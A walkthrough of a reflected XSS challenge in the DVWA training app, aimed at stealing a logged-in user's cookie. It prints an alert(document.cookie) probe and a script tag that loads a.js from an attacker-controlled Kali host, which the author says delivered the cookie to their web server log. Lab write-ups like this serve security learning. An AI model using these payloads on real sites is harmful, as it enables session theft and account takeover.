

Challenge URL: /dvwa/vulnerabilities/xss_r/

Objective: Steal the cookie of a logged-in user.

Tools needed: A temporary web server

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The Guide

Note: This challenge is extremely similar to [Challenge 10](#). We'll be using the same web server, exploit, and payload as before, so make sure those are good to go before proceeding.

We see a basic web form with a field we can fill out.



When we input a name into the field and click the "Submit" button, we see the string "Hello [inputted_name]" returned back to us.



Interesting. Can we cause an `alert` popup to occur using this field?

```
<script>alert(document.cookie)</script>
```



Note that I actually input `document.cookie.split(";")[0]` as my payload, in order to hide my session ID. Just a privacy thing for me. You don't have to do that, and it impacts nothing besides what you see in my screenshots.

Perfect! Instead of using `alert()`, let's use our previous exploit/payload combo from [Challenge 10](#).

```
<script src="http://[your_Kali_IP]:9999/a.js"></script>
```



If we inspect the form's source code after we input the exploit, we see it's been successfully inserted into the page:



And examining the Python web server logs shows the cookie:



Easy enough! Challenge complete.